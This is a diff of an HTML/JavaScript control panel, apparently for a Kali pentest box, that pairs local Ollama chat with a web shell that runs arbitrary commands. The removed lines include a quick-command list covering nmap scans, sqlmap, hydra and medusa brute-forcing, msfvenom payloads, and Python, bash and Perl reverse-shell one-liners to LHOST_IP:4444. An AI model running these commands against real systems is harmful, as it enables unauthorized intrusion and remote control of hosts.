-function clearShell(){
-  document.getElementById('shell-output').innerHTML='<div class="shell-empty-msg">// cleared</div>';
-}
-function setShellCmd(cmd){
-  document.getElementById('shell-input').value=cmd;
-  document.getElementById('shell-input').focus();
-}
-function appendShellLine(text,cls='shell-line'){
-  const out=document.getElementById('shell-output');
-  // Remove empty placeholder
-  const placeholder=out.querySelector('.shell-empty-msg');
-  if(placeholder) placeholder.remove();
-  const line=document.createElement('div');
-  line.className=cls;
-  line.textContent=text;
-  out.appendChild(line);
   out.scrollTop=out.scrollHeight;
-  return line;
 }
 async function runShell(){
-  const input=document.getElementById('shell-input');
-  const cmd=input.value.trim();
   if(!cmd||shellRunning) return;
-  shellHistory.unshift(cmd);
-  shellHistoryIdx=-1;
-  input.value='';
   shellRunning=true;
-  shellController=new AbortController();
   document.getElementById('run-btn').disabled=true;
-  document.getElementById('kill-btn').classList.add('visible');
-  appendShellLine('$ '+cmd,'shell-cmd-echo');
-  log(`Shell: ${cmd}`,'info');
-  try {
     const r=await fetch(`${BASE}/shell`,{
       method:'POST',
       headers:{'Content-Type':'application/json'},
       body:JSON.stringify({cmd}),
-      signal:shellController.signal,
     });
     const reader=r.body.getReader();
     const dec=new TextDecoder();
     let buf='';
     while(true){
       const {done,value}=await reader.read();
       if(done) break;
       buf+=dec.decode(value,{stream:true});
-      // flush complete lines immediately
-      const lines=buf.split('\n');
-      buf=lines.pop(); // keep partial line
-      for(const line of lines){
-        appendShellLine(line);
-      }
     }
-    if(buf) appendShellLine(buf);
-    appendShellLine('','shell-exit-ok');
-    log('Shell done','success');
-  } catch(e){
     if(e.name!=='AbortError'){
-      appendShellLine('Error: '+e.message,'shell-exit-err');
       log('Shell error: '+e.message,'error');
-    } else {
-      appendShellLine('[killed by user]','shell-exit-err');
     }
   }
-  shellRunning=false;
-  shellController=null;
   document.getElementById('run-btn').disabled=false;
-  document.getElementById('kill-btn').classList.remove('visible');
-  input.focus();
 }
 function killShell(){
-  if(shellController){
-    shellController.abort();
-    toast('Process killed','error');
-    log('Shell process killed','warn');
-  }
 }
-// Shell input: enter to run, up/down for history
-document.getElementById('shell-input').addEventListener('keydown',e=>{
   if(e.key==='Enter'){runShell();return;}
-  if(e.key==='ArrowUp'){
-    e.preventDefault();
-    if(shellHistoryIdx<shellHistory.length-1){
-      shellHistoryIdx++;
-      e.target.value=shellHistory[shellHistoryIdx]||'';
-    }
-  }
-  if(e.key==='ArrowDown'){
-    e.preventDefault();
-    if(shellHistoryIdx>0){shellHistoryIdx--;e.target.value=shellHistory[shellHistoryIdx]||'';}
-    else{shellHistoryIdx=-1;e.target.value='';}
-  }
 });
-// ─────────────────────────────────────────────
-// KALI TOOL CATEGORIES
-// ─────────────────────────────────────────────
-const KALI_CMDS = {
-  system: [
-    {label:'uname -a',        cmd:'uname -a'},
-    {label:'os-release',      cmd:'cat /etc/os-release'},
-    {label:'kali version',    cmd:'cat /etc/kali_version 2>/dev/null || lsb_release -a'},
-    {label:'ls -la',          cmd:'ls -la'},
-    {label:'df -h',           cmd:'df -h'},
-    {label:'free -h',         cmd:'free -h'},
-    {label:'top',             cmd:'top -bn1 | head -25'},
-    {label:'htop snap',       cmd:'htop -d 1 2>/dev/null | head -30 || top -bn1 | head -25'},
-    {label:'ps aux',          cmd:'ps aux --sort=-%cpu | head -20'},
-    {label:'nvidia-smi',      cmd:'nvidia-smi'},
-    {label:'cpu info',        cmd:'lscpu | head -20'},
-    {label:'env',             cmd:'env | sort'},
-    {label:'uptime',          cmd:'uptime'},
-    {label:'whoami',          cmd:'whoami && id'},
-    {label:'installed tools', cmd:'dpkg -l | grep -E "nmap|hydra|sqlmap|metasploit|john|aircrack|nikto|dirb|gobuster|wfuzz" | awk '{print $2, $3}''},
   ],
-  recon: [
-    {label:'nmap -sV HOST',   cmd:'nmap -sV -sC --open TARGET_IP'},
-    {label:'nmap full scan',  cmd:'nmap -p- -T4 TARGET_IP'},
-    {label:'nmap UDP',        cmd:'nmap -sU --top-ports 100 TARGET_IP'},
-    {label:'nmap OS detect',  cmd:'nmap -O TARGET_IP'},
-    {label:'nmap scripts',    cmd:'nmap --script=vuln TARGET_IP'},
-    {label:'dnsrecon',        cmd:'dnsrecon -d TARGET_DOMAIN'},
-    {label:'dnsenum',         cmd:'dnsenum TARGET_DOMAIN'},
-    {label:'fierce',          cmd:'fierce --domain TARGET_DOMAIN'},
-    {label:'theharvester',    cmd:'theHarvester -d TARGET_DOMAIN -b all'},
-    {label:'whois',           cmd:'whois TARGET_DOMAIN'},
-    {label:'host lookup',     cmd:'host TARGET_DOMAIN'},
-    {label:'dig full',        cmd:'dig TARGET_DOMAIN ANY +noall +answer'},
-    {label:'recon-ng start',  cmd:'recon-ng'},
-    {label:'shodan search',   cmd:'echo "Visit https://shodan.io for TARGET_DOMAIN"'},
   ],
-  web: [
-    {label:'nikto scan',      cmd:'nikto -h http://TARGET_IP'},
-    {label:'gobuster dirs',   cmd:'gobuster dir -u http://TARGET_IP -w /usr/share/wordlists/dirb/common.txt'},
-    {label:'gobuster vhosts', cmd:'gobuster vhost -u http://TARGET_DOMAIN -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt'},
-    {label:'dirb scan',       cmd:'dirb http://TARGET_IP /usr/share/wordlists/dirb/common.txt'},
-    {label:'sqlmap GET',      cmd:'sqlmap -u "http://TARGET_IP/page?id=1" --dbs --batch'},
-    {label:'sqlmap POST',     cmd:'sqlmap -u "http://TARGET_IP/login" --data="user=a&pass=b" --dbs --batch'},
-    {label:'wfuzz fuzz',      cmd:'wfuzz -c -w /usr/share/wordlists/dirb/common.txt --hc 404 http://TARGET_IP/FUZZ'},
-    {label:'whatweb',         cmd:'whatweb http://TARGET_IP'},
-    {label:'ffuf dirs',       cmd:'ffuf -u http://TARGET_IP/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302'},
-    {label:'curl headers',    cmd:'curl -I http://TARGET_IP'},
-    {label:'wordlists ls',    cmd:'ls /usr/share/wordlists/'},
-    {label:'seclists',        cmd:'ls /usr/share/wordlists/seclists/ 2>/dev/null || echo "Not installed"'},
   ],
-  network: [
-    {label:'ip addr',         cmd:'ip addr show'},
-    {label:'ip route',        cmd:'ip route show'},
-    {label:'netstat',         cmd:'netstat -tulnp 2>/dev/null || ss -tulnp'},
-    {label:'ss -tulnp',       cmd:'ss -tulnp'},
-    {label:'ping gw',         cmd:'ping -c 4 $(ip route | grep default | awk '{print $3}')'},
-    {label:'arp scan',        cmd:'arp-scan --localnet 2>/dev/null || echo "Install: apt install arp-scan"'},
-    {label:'tcpdump iface',   cmd:'tcpdump -i any -c 20 -n'},
-    {label:'nc listen',       cmd:'nc -lvnp 4444'},
-    {label:'nc connect',      cmd:'nc TARGET_IP PORT'},
-    {label:'tshark capture',  cmd:'tshark -i any -c 50'},
-    {label:'traceroute',      cmd:'traceroute TARGET_IP'},
-    {label:'netdiscover',     cmd:'netdiscover -r 192.168.1.0/24 -P 2>/dev/null | head -30'},
-    {label:'masscan',         cmd:'masscan -p1-65535 TARGET_IP --rate=1000 2>/dev/null || echo "Install: apt install masscan"'},
   ],
-  exploit: [
-    {label:'msfconsole',      cmd:'msfconsole -q -x "version; exit"'},
-    {label:'msf db status',   cmd:'msfdb status 2>/dev/null'},
-    {label:'searchsploit',    cmd:'searchsploit apache 2.4'},
-    {label:'exploitdb list',  cmd:'ls /usr/share/exploitdb/exploits/ | head -20'},
-    {label:'msfvenom payloads',cmd:'msfvenom -l payloads | head -30'},
-    {label:'msfvenom shell',  cmd:'msfvenom -p linux/x86/shell_reverse_tcp LHOST=LHOST_IP LPORT=4444 -f elf -o /tmp/shell.elf'},
-    {label:'python revshell', cmd:'echo "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"LHOST_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"'},
-    {label:'bash revshell',   cmd:'echo "bash -i >& /dev/tcp/LHOST_IP/4444 0>&1"'},
-    {label:'perl revshell',   cmd:'echo "perl -e 'use Socket;$i=\"LHOST_IP\";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");'"'},
-    {label:'linpeas dl',      cmd:'curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -o /tmp/linpeas.sh && chmod +x /tmp/linpeas.sh && echo Done'},
-    {label:'pspy dl',         cmd:'curl -L https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 -o /tmp/pspy64 && chmod +x /tmp/pspy64 && echo Done'},
-    {label:'suid bins',       cmd:'find / -perm -u=s -type f 2>/dev/null'},
-    {label:'sudo -l',         cmd:'sudo -l 2>/dev/null'},
-    {label:'crontab',         cmd:'cat /etc/crontab && ls /etc/cron*'},
   ],
-  password: [
-    {label:'john hash',       cmd:'john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/hash.txt'},
-    {label:'john show',       cmd:'john --show /tmp/hash.txt'},
-    {label:'hashcat md5',     cmd:'hashcat -m 0 /tmp/hash.txt /usr/share/wordlists/rockyou.txt --force'},
-    {label:'hashcat sha1',    cmd:'hashcat -m 100 /tmp/hash.txt /usr/share/wordlists/rockyou.txt --force'},
-    {label:'hashcat ntlm',    cmd:'hashcat -m 1000 /tmp/hash.txt /usr/share/wordlists/rockyou.txt --force'},
-    {label:'hydra ssh',       cmd:'hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://TARGET_IP'},
-    {label:'hydra http',      cmd:'hydra -l admin -P /usr/share/wordlists/rockyou.txt http-post-form "TARGET_IP/login:username=^USER^&password=^PASS^:Invalid"'},
-    {label:'hydra ftp',       cmd:'hydra -l root -P /usr/share/wordlists/rockyou.txt ftp://TARGET_IP'},
-    {label:'medusa ssh',      cmd:'medusa -h TARGET_IP -u root -P /usr/share/wordlists/rockyou.txt -M ssh'},
-    {label:'crunch wordlist', cmd:'crunch 8 8 abcdefghijklmnopqrstuvwxyz0123456789 -o /tmp/custom.txt'},
-    {label:'rockyou.txt',     cmd:'ls -lh /usr/share/wordlists/rockyou.txt* && gunzip /usr/share/wordlists/rockyou.txt.gz 2>/dev/null; echo done'},
-    {label:'identify hash',   cmd:'echo "PASTE_HASH_HERE" | hash-identifier 2>/dev/null || echo "Tool: haiti, hashid"'},
   ],
-  forensics: [
-    {label:'file check',      cmd:'file /tmp/*'},
-    {label:'strings',         cmd:'strings /tmp/TARGET_FILE | head -50'},
-    {label:'xxd hex dump',    cmd:'xxd /tmp/TARGET_FILE | head -30'},
-    {label:'binwalk',         cmd:'binwalk /tmp/TARGET_FILE'},
-    {label:'binwalk extract', cmd:'binwalk -e /tmp/TARGET_FILE'},
-    {label:'exiftool',        cmd:'exiftool /tmp/TARGET_FILE'},
-    {label:'steghide info',   cmd:'steghide info /tmp/TARGET_FILE'},
-    {label:'steghide extract',cmd:'steghide extract -sf /tmp/TARGET_FILE'},
-    {label:'foremost carve',  cmd:'foremost -i /tmp/TARGET_FILE -o /tmp/foremost_out'},
-    {label:'volatility info', cmd:'volatility -f /tmp/TARGET_FILE imageinfo 2>/dev/null || echo "volatility not installed"'},
-    {label:'tcpdump read',    cmd:'tcpdump -r /tmp/TARGET.pcap | head -30'},
-    {label:'tshark read',     cmd:'tshark -r /tmp/TARGET.pcap | head -30'},
-    {label:'ls /proc',        cmd:'ls /proc/'},
-    {label:'dmesg',           cmd:'dmesg | tail -30'},
   ],
-  ollama: [
-    {label:'list models',     cmd:'curl -s http://localhost:11434/api/tags | python3 -m json.tool'},
-    {label:'ollama list',     cmd:'ollama list'},
-    {label:'ollama ps',       cmd:'ollama ps'},
-    {label:'ollama version',  cmd:'ollama version'},
-    {label:'ollama procs',    cmd:'ps aux | grep ollama'},
-    {label:'ollama logs',     cmd:'journalctl -u ollama -n 50 2>/dev/null || tail -50 /var/log/ollama.log 2>/dev/null'},
-    {label:'pull tinyllama',  cmd:'ollama pull tinyllama'},
-    {label:'pull phi3',       cmd:'ollama pull phi3'},
-    {label:'pull mistral',    cmd:'ollama pull mistral'},
-    {label:'run tinyllama',   cmd:'ollama run tinyllama "Hello, who are you?"'},
-    {label:'gpu info',        cmd:'nvidia-smi 2>/dev/null || echo "No GPU / nvidia-smi not found"'},
-    {label:'disk usage',      cmd:'du -sh ~/.ollama/models/ 2>/dev/null'},
-    {label:'api health',      cmd:'curl -s http://localhost:11434/ && echo'},
   ],
 };
-let currentCat = 'system';
-function switchCat(btn, cat) {
-  document.querySelectorAll('.cat-tab').forEach(b=>b.classList.remove('active'));
   btn.classList.add('active');
-  currentCat = cat;
-  renderQuickCmds(cat);
 }
-function renderQuickCmds(cat) {
-  const cmds = KALI_CMDS[cat] || [];
-  const container = document.getElementById('quick-cmds');
-  container.innerHTML = cmds.map(c =>
-    `<span class="qcmd" title="${c.cmd}" onclick="setShellCmd(${JSON.stringify(c.cmd)})">${c.label}</span>`
-  ).join('');
 }
-// ─────────────────────────────────────────────
-// INIT
-// ─────────────────────────────────────────────
 checkStatus();
-setInterval(checkStatus, 30000); // ping every 30s
-renderQuickCmds('system'); // load default kali cmds
 </script>
 </body>
-</html>

 <head>
 <meta charset="UTF-8"/>
 <meta name="viewport" content="width=device-width,initial-scale=1"/>
+<title>HYDRA-AI CONTROL</title>
+<link href="https://fonts.googleapis.com/css2?family=Share+Tech+Mono&family=Bebas+Neue&family=JetBrains+Mono:wght@300;400;700&display=swap" rel="stylesheet"/>
 <style>
 :root {
+  --bg:       #04060a;
+  --panel:    #080d14;
+  --border:   #111d2e;
+  --accent:   #00ff41;
+  --accent2:  #ff003c;
+  --accent3:  #00e5ff;
+  --text:     #a8b8c8;
+  --dim:      #334455;
+  --warn:     #ffcc00;
+  --font-mono: 'JetBrains Mono', 'Share Tech Mono', monospace;
   --font-head: 'Bebas Neue', sans-serif;
 }
 *{box-sizing:border-box;margin:0;padding:0}
+html,body{height:100%;background:var(--bg);color:var(--text);font-family:var(--font-mono);overflow:hidden}
+/* scanline */
+body::before{
+  content:'';position:fixed;inset:0;pointer-events:none;z-index:9998;
+  background:repeating-linear-gradient(0deg,transparent,transparent 3px,rgba(0,255,65,.015) 3px,rgba(0,255,65,.015) 4px);
+}
+/* vignette */
 body::after{
+  content:'';position:fixed;inset:0;pointer-events:none;z-index:9997;
+  background:radial-gradient(ellipse at center,transparent 60%,rgba(0,0,0,.7) 100%);
 }
+/* LAYOUT */
+#app{display:grid;grid-template-rows:52px 1fr;height:100vh;position:relative;z-index:1}
+/* HEADER */
 header{
+  display:flex;align-items:center;gap:14px;padding:0 18px;
   background:var(--panel);border-bottom:1px solid var(--border);
+  position:relative;
 }
+header::after{
   content:'';position:absolute;bottom:0;left:0;right:0;height:1px;
+  background:linear-gradient(90deg,transparent 0%,var(--accent) 30%,var(--accent2) 70%,transparent 100%);
+  opacity:.6;
+}
+.logo{
+  font-family:var(--font-head);font-size:26px;letter-spacing:4px;
+  color:var(--accent);text-shadow:0 0 20px rgba(0,255,65,.5),0 0 40px rgba(0,255,65,.2);
+}
+.logo em{color:var(--accent2);font-style:normal}
+.dot{width:7px;height:7px;border-radius:50%;background:var(--accent2);box-shadow:0 0 8px var(--accent2);animation:pulse 1.5s infinite;flex-shrink:0}
+.dot.on{background:var(--accent);box-shadow:0 0 8px var(--accent)}
+@keyframes pulse{0%,100%{opacity:1}50%{opacity:.3}}
+.status-txt{font-size:10px;color:var(--dim);letter-spacing:2px}
 .spacer{flex:1}
+.model-wrap{display:flex;align-items:center;gap:8px}
+.model-wrap label{font-size:9px;color:var(--dim);letter-spacing:3px;text-transform:uppercase}
+#gmodel{
+  background:rgba(0,255,65,.05);border:1px solid rgba(0,255,65,.2);color:var(--accent);
+  font-family:var(--font-mono);font-size:11px;padding:4px 8px;border-radius:2px;outline:none;cursor:pointer;
 }
+#gmodel:focus{border-color:var(--accent)}
+#gmodel option{background:#0a0f14;color:var(--text)}
+/* TABS */
+#main{display:flex;height:100%;overflow:hidden}
 .tab-nav{
+  display:flex;flex-direction:column;width:48px;background:var(--panel);
+  border-right:1px solid var(--border);padding:6px 0;gap:2px;flex-shrink:0;
 }
+.tbtn{
   display:flex;flex-direction:column;align-items:center;justify-content:center;
+  gap:3px;padding:11px 4px;cursor:pointer;border:none;background:transparent;
+  color:var(--dim);font-size:7px;letter-spacing:1px;text-transform:uppercase;
+  border-left:2px solid transparent;transition:all .15s;font-family:var(--font-mono);
 }
+.tbtn svg{width:16px;height:16px;stroke:currentColor;fill:none;stroke-width:1.5}
+.tbtn:hover{color:var(--text);background:rgba(255,255,255,.02)}
+.tbtn.active{color:var(--accent);border-left-color:var(--accent);background:rgba(0,255,65,.04)}
 .panels{flex:1;overflow:hidden;position:relative}
 .panel{position:absolute;inset:0;display:none;flex-direction:column}
 .panel.active{display:flex}
+/* PANEL HEADER */
+.ph{
+  padding:10px 16px;border-bottom:1px solid var(--border);
+  display:flex;align-items:center;gap:10px;flex-shrink:0;background:var(--panel);
 }
+.ph-title{font-family:var(--font-head);font-size:18px;letter-spacing:3px;color:var(--text)}
+.ph-title em{color:var(--accent);font-style:normal}
 .badge{
+  font-size:8px;padding:2px 6px;border-radius:1px;letter-spacing:1px;
+  background:rgba(0,255,65,.08);border:1px solid rgba(0,255,65,.2);color:var(--accent);
 }
+.badge.red{background:rgba(255,0,60,.08);border-color:rgba(255,0,60,.3);color:var(--accent2)}
+/* ── CHAT ── */
+#chat-msgs{
+  flex:1;overflow-y:auto;padding:14px;display:flex;flex-direction:column;gap:10px;
 }
+#chat-msgs::-webkit-scrollbar{width:3px}
+#chat-msgs::-webkit-scrollbar-thumb{background:var(--border)}
+.msg{display:flex;gap:8px;max-width:88%;animation:fadeUp .2s ease}
+@keyframes fadeUp{from{opacity:0;transform:translateY(5px)}to{opacity:1;transform:none}}
 .msg.user{align-self:flex-end;flex-direction:row-reverse}
+.av{
+  width:26px;height:26px;border-radius:2px;display:flex;align-items:center;
+  justify-content:center;font-size:9px;font-weight:700;flex-shrink:0;margin-top:2px;
+  font-family:var(--font-head);letter-spacing:1px;
+}
+.msg.user .av{background:rgba(255,0,60,.15);border:1px solid rgba(255,0,60,.3);color:var(--accent2)}
+.msg.ai .av{background:rgba(0,255,65,.08);border:1px solid rgba(0,255,65,.2);color:var(--accent)}
+.bubble{
+  padding:9px 13px;border-radius:3px;font-size:12px;line-height:1.65;
+  white-space:pre-wrap;word-break:break-word;
+}
+.msg.user .bubble{background:rgba(255,0,60,.08);border:1px solid rgba(255,0,60,.2);color:#ffaabb}
+.msg.ai .bubble{background:rgba(0,255,65,.04);border:1px solid rgba(0,255,65,.12);color:var(--text)}
+.msg.ai .bubble.streaming::after{content:'▋';animation:blink .5s step-end infinite;color:var(--accent)}
 @keyframes blink{0%,100%{opacity:1}50%{opacity:0}}
+.mtime{font-size:8px;color:var(--dim);margin-top:3px}
 .chat-empty{
+  flex:1;display:flex;flex-direction:column;align-items:center;justify-content:center;gap:6px;
+}
+.chat-empty .big{
+  font-family:var(--font-head);font-size:64px;letter-spacing:6px;
+  color:transparent;-webkit-text-stroke:1px rgba(0,255,65,.15);
+  text-shadow:0 0 60px rgba(0,255,65,.05);
 }
+.chat-empty .sub{font-size:10px;color:var(--dim);letter-spacing:3px}
+#chat-bar{
+  padding:10px 14px;border-top:1px solid var(--border);
   display:flex;gap:8px;align-items:flex-end;background:var(--panel);
 }
+#chat-in{
+  flex:1;background:#060b10;border:1px solid var(--border);color:var(--text);
+  font-family:var(--font-mono);font-size:12px;padding:9px 11px;border-radius:3px;
+  outline:none;resize:none;max-height:120px;min-height:38px;line-height:1.5;
+  transition:border-color .15s;
 }
+#chat-in:focus{border-color:rgba(0,255,65,.3)}
+#chat-in::placeholder{color:var(--dim)}
 .send-btn{
+  background:var(--accent);color:#000;border:none;padding:9px 15px;height:38px;
+  border-radius:3px;cursor:pointer;font-family:var(--font-head);font-size:13px;
+  letter-spacing:2px;transition:all .2s;flex-shrink:0;display:flex;align-items:center;gap:5px;
 }
+.send-btn:hover{box-shadow:0 0 20px rgba(0,255,65,.4)}
 .send-btn:disabled{background:var(--border);color:var(--dim);cursor:not-allowed;box-shadow:none}
+.send-btn svg{width:13px;height:13px;stroke:currentColor;fill:none;stroke-width:2}
+/* ── SHELL ── */
+#shell-panel{background:#030508}
+.shell-cats{
+  display:flex;overflow-x:auto;border-bottom:1px solid var(--border);flex-shrink:0;
+  background:rgba(0,0,0,.3);
 }
+.shell-cats::-webkit-scrollbar{height:2px}
+.cat-btn{
   background:transparent;border:none;border-bottom:2px solid transparent;
+  color:var(--dim);font-family:var(--font-mono);font-size:9px;
+  padding:7px 12px;cursor:pointer;white-space:nowrap;transition:all .15s;letter-spacing:.5px;
 }
+.cat-btn:hover{color:var(--text);background:rgba(255,255,255,.02)}
+.cat-btn.active{color:var(--accent);border-bottom-color:var(--accent);background:rgba(0,255,65,.04)}
+.qcmds{
+  display:flex;gap:5px;padding:5px 14px;border-bottom:1px solid var(--border);
+  flex-wrap:wrap;flex-shrink:0;background:#030508;min-height:32px;
 }
+.qc{
+  font-family:var(--font-mono);font-size:9px;padding:3px 7px;
+  background:rgba(0,255,65,.04);border:1px solid rgba(0,255,65,.15);
+  color:rgba(0,255,65,.6);border-radius:1px;cursor:pointer;transition:all .12s;white-space:nowrap;
 }
+.qc:hover{background:rgba(0,255,65,.12);color:var(--accent)}
+.shell-bar{
+  padding:7px 14px;border-bottom:1px solid var(--border);
+  display:flex;gap:7px;align-items:center;background:var(--panel);flex-shrink:0;
 }
+.shell-in-wrap{
+  flex:1;display:flex;align-items:center;gap:7px;
+  background:#030810;border:1px solid var(--border);border-radius:2px;padding:0 10px;
 }
+.sprmt{color:var(--accent);font-size:12px;user-select:none}
+#shell-in{
+  flex:1;background:transparent;border:none;outline:none;
+  color:#b0ffb0;font-family:var(--font-mono);font-size:12px;padding:7px 0;
 }
+#shell-in::placeholder{color:var(--dim)}
+.run-btn,.kill-btn{
+  border:none;padding:6px 13px;border-radius:2px;cursor:pointer;
+  font-family:var(--font-head);font-size:12px;letter-spacing:1px;transition:all .2s;
+}
+.run-btn{background:var(--accent);color:#000}
+.run-btn:hover{box-shadow:0 0 14px rgba(0,255,65,.5)}
+.run-btn:disabled{background:#0a1a0a;color:#1a3a1a;cursor:not-allowed}
+.kill-btn{background:var(--accent2);color:#fff;display:none}
+.kill-btn.show{display:block}
+.kill-btn:hover{box-shadow:0 0 14px rgba(255,0,60,.5)}
+#shell-out{
+  flex:1;overflow-y:auto;padding:12px 16px;
+  font-family:var(--font-mono);font-size:12px;line-height:1.7;
+  color:#7aff7a;word-break:break-all;
+}
+#shell-out::-webkit-scrollbar{width:3px}
+#shell-out::-webkit-scrollbar-thumb{background:var(--border)}
+.s-echo{color:var(--accent3);margin:5px 0 2px}
+.s-exit0{color:var(--accent);font-size:10px;margin-top:3px;opacity:.7}
+.s-exit1{color:var(--accent2);font-size:10px;margin-top:3px}
+.s-empty{color:var(--dim);text-align:center;margin-top:60px;font-size:11px;letter-spacing:2px}
+/* ── MODELS ── */
+#models-panel{background:var(--bg)}
+.models-body{flex:1;overflow-y:auto;padding:14px;display:flex;flex-direction:column;gap:12px}
+.pull-box{background:var(--panel);border:1px solid var(--border);border-radius:3px;padding:14px}
+.pull-box-title{font-size:9px;color:var(--dim);letter-spacing:3px;margin-bottom:10px}
+.pull-row{display:flex;gap:7px;flex-wrap:wrap}
+#pull-in{
+  flex:1;min-width:180px;background:#060b10;border:1px solid var(--border);color:var(--text);
+  font-family:var(--font-mono);font-size:11px;padding:7px 10px;border-radius:2px;outline:none;
+}
+#pull-in:focus{border-color:rgba(0,255,65,.3)}
+#pull-in::placeholder{color:var(--dim)}
+.abtn{
+  border:none;padding:7px 14px;border-radius:2px;cursor:pointer;
+  font-family:var(--font-head);font-size:12px;letter-spacing:1px;transition:all .2s;
+}
+.abtn.p{background:var(--accent);color:#000}
+.abtn.p:hover{box-shadow:0 0 12px rgba(0,255,65,.4)}
+.abtn.s{background:var(--border);color:var(--text)}
+.abtn.s:hover{background:#1a2535}
+.popular{display:flex;gap:5px;flex-wrap:wrap;margin-top:8px}
+.prog-box{background:var(--panel);border:1px solid var(--border);border-radius:3px;padding:14px;display:none}
+.prog-box.show{display:block}
+.prog-lbl{font-size:10px;color:var(--dim);margin-bottom:7px}
+.prog-track{background:#060b10;border-radius:1px;height:3px;overflow:hidden}
+.prog-fill{height:100%;background:linear-gradient(90deg,var(--accent),var(--accent3));width:0%;transition:width .3s}
+.prog-stat{font-size:10px;color:var(--accent);margin-top:5px}
+.mgrid{display:grid;grid-template-columns:repeat(auto-fill,minmax(270px,1fr));gap:9px}
+.mcard{
+  background:var(--panel);border:1px solid var(--border);border-radius:3px;
+  padding:13px;transition:border-color .15s;
+}
+.mcard:hover{border-color:rgba(0,255,65,.25)}
+.mcard.active{border-color:var(--accent);background:rgba(0,255,65,.03)}
+.mname{font-size:12px;color:var(--accent);margin-bottom:4px;font-family:var(--font-mono)}
+.mmeta{font-size:10px;color:var(--dim);display:flex;gap:10px;flex-wrap:wrap}
+.mbtns{margin-top:9px;display:flex;gap:5px}
+.mbtn{
+  font-size:9px;padding:4px 9px;border-radius:1px;border:none;cursor:pointer;
+  font-family:var(--font-head);letter-spacing:1px;transition:all .15s;
 }
+.mbtn.u{background:rgba(0,255,65,.12);color:var(--accent);border:1px solid rgba(0,255,65,.25)}
+.mbtn.u:hover{background:rgba(0,255,65,.22)}
+.mbtn.d{background:rgba(255,0,60,.08);color:var(--accent2);border:1px solid rgba(255,0,60,.25)}
+.mbtn.d:hover{background:rgba(255,0,60,.18)}
+.no-m{text-align:center;padding:40px;color:var(--dim);font-size:11px;letter-spacing:2px}
+/* ── LOGS ── */
+#logs-panel{background:#030508}
+#log-out{
+  flex:1;overflow-y:auto;padding:12px 16px;
+  font-family:var(--font-mono);font-size:11px;line-height:1.8;
+}
+.ll{border-bottom:1px solid rgba(255,255,255,.02);padding:1px 0}
+.ll.info{color:#4a7a8a}
+.ll.warn{color:var(--warn)}
+.ll.error{color:var(--accent2)}
+.ll.ok{color:var(--accent)}
+.lts{color:var(--dim);margin-right:8px;user-select:none}
+/* TOAST */
+#toast{position:fixed;bottom:18px;right:18px;z-index:10000;display:flex;flex-direction:column;gap:7px;pointer-events:none}
+.ti{
+  background:var(--panel);border-radius:2px;padding:9px 14px;
+  font-size:11px;animation:tIn .25s ease;border-left:2px solid var(--accent);
+  box-shadow:0 4px 20px rgba(0,0,0,.8);
+}
+.ti.e{border-color:var(--accent2);color:var(--accent2)}
+.ti.ok{border-color:var(--accent);color:var(--accent)}
+@keyframes tIn{from{opacity:0;transform:translateX(16px)}to{opacity:1;transform:none}}
+*::-webkit-scrollbar{width:3px;height:3px}
 *::-webkit-scrollbar-track{background:transparent}
+*::-webkit-scrollbar-thumb{background:var(--border);border-radius:1px}
 </style>
 </head>
 <body>
 <div id="app">
   <!-- HEADER -->
   <header>
+    <div class="logo">HYDRA<em>AI</em></div>
+    <div class="dot" id="dot"></div>
+    <div class="status-txt" id="stxt">CONNECTING...</div>
     <div class="spacer"></div>
+    <div class="model-wrap">
       <label>MODEL</label>
+      <select id="gmodel"><option value="">— select —</option></select>
     </div>
   </header>
+  <div id="main">
     <!-- TAB NAV -->
     <nav class="tab-nav">
+      <button class="tbtn active" data-tab="chat" title="Chat">
         <svg viewBox="0 0 24 24"><path d="M21 15a2 2 0 0 1-2 2H7l-4 4V5a2 2 0 0 1 2-2h14a2 2 0 0 1 2 2z"/></svg>
         CHAT
       </button>
+      <button class="tbtn" data-tab="shell" title="Shell">
         <svg viewBox="0 0 24 24"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
         SHELL
       </button>
+      <button class="tbtn" data-tab="models" title="Models">
         <svg viewBox="0 0 24 24"><rect x="2" y="3" width="20" height="14" rx="2"/><line x1="8" y1="21" x2="16" y2="21"/><line x1="12" y1="17" x2="12" y2="21"/></svg>
         MODELS
       </button>
+      <button class="tbtn" data-tab="logs" title="Logs">
+        <svg viewBox="0 0 24 24"><path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z"/><polyline points="14 2 14 8 20 8"/><line x1="16" y1="13" x2="8" y2="13"/><line x1="16" y1="17" x2="8" y2="17"/></svg>
         LOGS
       </button>
     </nav>
     <div class="panels">
       <!-- ── CHAT ── -->
       <div class="panel active" id="chat-panel">
+        <div class="ph">
+          <div class="ph-title">AI <em>CHAT</em></div>
+          <div class="badge" id="chat-badge">no model</div>
           <div style="flex:1"></div>
+          <button class="abtn s" style="font-size:10px;padding:4px 9px" onclick="clearChat()">CLEAR</button>
         </div>
+        <div id="chat-msgs">
           <div class="chat-empty" id="chat-empty">
+            <div class="big">HYDRA</div>
+            <div class="sub">SELECT A MODEL — BEGIN OPERATION</div>
           </div>
         </div>
+        <div id="chat-bar">
+          <textarea id="chat-in" rows="1" placeholder="Enter command... (Enter to send, Shift+Enter for newline)"></textarea>
           <button class="send-btn" id="send-btn" onclick="sendChat()">
             <svg viewBox="0 0 24 24"><line x1="22" y1="2" x2="11" y2="13"/><polygon points="22 2 15 22 11 13 2 9 22 2"/></svg>
             SEND
       <!-- ── SHELL ── -->
       <div class="panel" id="shell-panel">
+        <div class="ph">
+          <div class="ph-title">SHELL <em>TERMINAL</em></div>
+          <div class="badge red">LIVE</div>
         </div>
+        <div class="shell-cats" id="shell-cats">
